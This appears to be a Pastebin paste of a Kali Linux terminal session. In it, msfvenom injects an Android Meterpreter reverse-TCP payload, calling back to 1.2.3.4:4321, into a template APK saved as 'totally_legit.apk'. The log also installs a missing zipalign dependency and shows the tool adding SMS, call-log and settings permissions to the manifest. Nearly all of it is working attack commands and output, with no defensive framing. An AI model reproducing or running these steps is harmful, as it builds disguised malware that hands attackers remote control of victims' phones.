Advertisement
inf0sec

fixingkalizipalignlogs

Sep 13th, 2017
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.11 KB | None | 0 0
  1. root@kali:/home/1nstance# msfvenom -x template.apk -p android/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=4321 -o totally_legit.apk
  2. Using APK template: template.apk
  3. No platform was selected, choosing Msf::Module::Platform::Android from the payload
  4. No Arch selected, selecting Arch: dalvik from the payload
  5. Error: zipalign not found. If it's not in your PATH, please add it.
  6. root@kali:/home/1nstance# locate zipalign
  7. root@kali:/home/1nstance# updatedb
  8. root@kali:/home/1nstance# apt-get install zipalign
  9. Reading package lists... Done
  10. Building dependency tree
  11. Reading state information... Done
  12. The following additional packages will be installed:
  13. libzopfli1
  14. The following NEW packages will be installed:
  15. libzopfli1 zipalign
  16. 0 upgraded, 2 newly installed, 0 to remove and 0 not upgraded.
  17. Need to get 46.8 kB of archives.
  18. After this operation, 137 kB of additional disk space will be used.
  19. Do you want to continue? [Y/n] y
  20. Get:1 http://ct.mirror.garr.it/mirrors/kali kali-rolling/main amd64 libzopfli1 amd64 1.0.1+git160527-1 [26.6 kB]
  21. Get:2 http://ct.mirror.garr.it/mirrors/kali kali-rolling/main amd64 zipalign amd64 1:7.0.0+r33-1 [20.2 kB]
  22. Fetched 46.8 kB in 21s (2,221 B/s)
  23. Selecting previously unselected package libzopfli1.
  24. (Reading database ... 355864 files and directories currently installed.)
  25. Preparing to unpack .../libzopfli1_1.0.1+git160527-1_amd64.deb ...
  26. Unpacking libzopfli1 (1.0.1+git160527-1) ...
  27. Selecting previously unselected package zipalign.
  28. Preparing to unpack .../zipalign_1%3a7.0.0+r33-1_amd64.deb ...
  29. Unpacking zipalign (1:7.0.0+r33-1) ...
  30. Processing triggers for libc-bin (2.24-17) ...
  31. Setting up libzopfli1 (1.0.1+git160527-1) ...
  32. Processing triggers for man-db (2.7.6.1-2) ...
  33. Setting up zipalign (1:7.0.0+r33-1) ...
  34. Processing triggers for libc-bin (2.24-17) ...
  35. root@kali:/home/1nstance# msfvenom -x template.apk -p android/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=4321 -o totally_legit.apk
  36. Using APK template: template.apk
  37. No platform was selected, choosing Msf::Module::Platform::Android from the payload
  38. No Arch selected, selecting Arch: dalvik from the payload
  39. [*] Creating signing key and keystore..
  40. [*] Decompiling original APK..
  41. [*] Decompiling payload APK..
  42. [*] Locating hook point..
  43. [*] Adding payload as package com.template.lite.jxdjm
  44. [*] Loading /tmp/d20170913-7254-10i3jrq/original/smali/com/template/lite/LiteAppShell.smali and injecting payload..
  45. [*] Poisoning the manifest with meterpreter permissions..
  46. [*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
  47. [*] Adding <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
  48. [*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
  49. [*] Adding <uses-permission android:name="android.permission.SEND_SMS"/>
  50. [*] Adding <uses-permission android:name="android.permission.RECEIVE_SMS"/>
  51. [*] Rebuilding template.apk with meterpreter injection as /tmp/d20170913-7254-10i3jrq/output.apk
  52. [*] Signing /tmp/d20170913-7254-10i3jrq/output.apk
  53. [*] Aligning /tmp/d20170913-7254-10i3jrq/output.apk
  54. Payload size: 1317346 bytes
  55. Saved as: totally_legit.apk
  56. root@kali:/home/1nstance#
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement